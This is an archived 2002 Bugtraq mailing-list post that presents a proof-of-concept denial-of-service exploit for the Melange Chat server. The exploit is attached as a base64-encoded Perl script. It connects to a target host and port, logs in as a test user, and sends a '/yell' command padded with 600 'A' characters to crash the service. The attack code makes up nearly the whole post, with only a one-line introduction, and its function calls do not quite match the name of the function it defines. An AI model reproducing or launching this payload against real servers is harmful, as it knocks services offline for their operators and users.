[25090] in bugtraq
Melange Chat POC DOS
daemon@ATHENA.MIT.EDU (dvdman)
Wed Apr 17 01:40:25 2002
Date: Mon, 15 Apr 2002 22:04:57 -0400 (EDT)
From: dvdman <dvdman@l33tsecurity.com>
To: <bugtraq@securityfocus.com>
Message-ID: <20020415220406.C61081-200000@ns2.elite-mafia.com>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="0-1695089259-1018922697=:61081"
--0-1695089259-1018922697=:61081
Content-Type: TEXT/PLAIN; charset=US-ASCII
Here is POC DOS exploit to Leon Harris's finds
--0-1695089259-1018922697=:61081
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="Melange.chat.pl"
Content-Transfer-Encoding: BASE64
Content-ID: <20020415220457.H61081@ns2.elite-mafia.com>
Content-Description:
Content-Disposition: attachment; filename="Melange.chat.pl"
IyEvdXNyL2Jpbi9wZXJsDQojTWVsYW5nZSBDaGF0IFNlcnZlciBSZW1vdGUg
RERPUyBQT0MNCiNCeSBEVkRNQU4gKERWRE1BTkBMMzNUU0VDVVJJVFkuQ09N
KQ0KI1dXVy5MMzNUU0VDVVJJVFkuQ09NDQojTDMzVCBTRUNVUklUWQ0KDQoN
CnVzZSBHZXRvcHQ6OlN0ZDsNCnVzZSBJTzo6U29ja2V0Ow0KJHw9MTsNCg0K
DQpteSAlb3B0aW9uczsNCmdldG9wdCgnSGhwJyxcJW9wdGlvbnMpOw0KJGFy
ZzIgPSBzaGlmdChAQVJHVik7DQokb3B0aW9uc3tofSAmJiB1c2FnZSgpOw0K
aWYgKCRvcHRpb25ze0h9KQ0Kew0KZG9fbWVsYWdlKCk7DQp9DQppZiAoJG9w
dGlvbnN7cH0pDQp7DQpkb19tYWxhbmdlKCk7DQp9DQplbHNlDQp7DQp1c2Fn
ZSgpOw0KfQ0Kc3ViIHVzYWdlKCkNCnsNCiAgICBwcmludCgiW0wzM1RTRUNV
UklUWV0gTWFsYW5nZSBDaGF0IFJlbW90ZSBERE9TXG4iKTsNCiAgICBwcmlu
dCgiIChDKSBEVkRNQU4gXG5cbiIpOw0KICAgIHByaW50KCJVc2FnZTogJDAg
W29wdGlvbnNdXG4iKTsNCiAgICBwcmludCgiLUggPSBob3N0bmFtZSBvciBp
cCBSRVFVSVJFRFxuIik7DQogICAgcHJpbnQoIi1wID0gcG9ydCBvZiBmdHAg
c2VydmVyIFJFUVVJUkVEXG4iKTsNCn0NCiAgDQpleGl0KDEpOw0KDQogDQoN
CnN1YiBtYWxhbmdlKCkgew0KbXkgJHRlc3QgPSAkb3B0aW9uc3tIfTsNCm15
ICR0ZXN0MiA9ICRvcHRpb25ze3B9Ow0KDQogICAgJHJlbW90ZSA9IElPOjpT
b2NrZXQ6OklORVQtPm5ldygNCiAgICAgICAgICAgICAgICAgICAgICAgIFBy
b3RvICAgICA9PiAidGNwIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgUGVlckFkZHIgID0+ICR0ZXN0LA0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBQZWVyUG9ydCAgPT4gJHRlc3QyLA0KICAgICAgICAp
Ow0KICAgIHVubGVzcyAoJHJlbW90ZSkgew0KICAgICAgICAgICBwcmludCJl
cnJvciBjYW5ub3QgY29ubmVjdCI7DQogICAgICAgICAgIHJldHVybg0KICAg
ICAgICB9DQogICAgJHJlbW90ZS0+YXV0b2ZsdXNoKDEpOw0KDQoNCnByaW50
IFNUREVSUiAiTWVsYW5nZSBDaGF0IFNlcnZlciBSRU1PVEUgRERPUyBCWSBE
VkRNQU5cbiI7DQpwcmludCBTVERFUlIgIiBzdGFydGluZyBhdHRhY2sgaW4g
NSBzZWNvbmRzLi4uXG4iOw0Kc2xlZXAoNSk7DQoNCm15ICR1c2VyID0gInVz
ZXIgdGVzdCB0ZXN0IDAgMFxyXG4iOw0KbXkgJGV4cGxvaXQgPSAiL3llbGwi
IC4gIiAiIC4gIkEieDYwMDsNCg0KDQpwcmludCAkcmVtb3RlICR1c2VyOw0K
cHJpbnQgJHJlbW90ZSAkZXhwbG9pdDsNCnByaW50IFNUREVSUiAiRE9ORVxu
IjsgDQpkaWUgIkJZRVxuIjsNCn0NCg0KDQoNCg0KDQojQnkgRFZETUFOIChE
VkRNQU5ATDMzVFNFQ1VSSVRZLkNPTSkNCiNXV1cuTDMzVFNFQ1VSSVRZLkNP
TQ0KI0wzM1QgU0VDVVJJVFkNCg0K
--0-1695089259-1018922697=:61081--
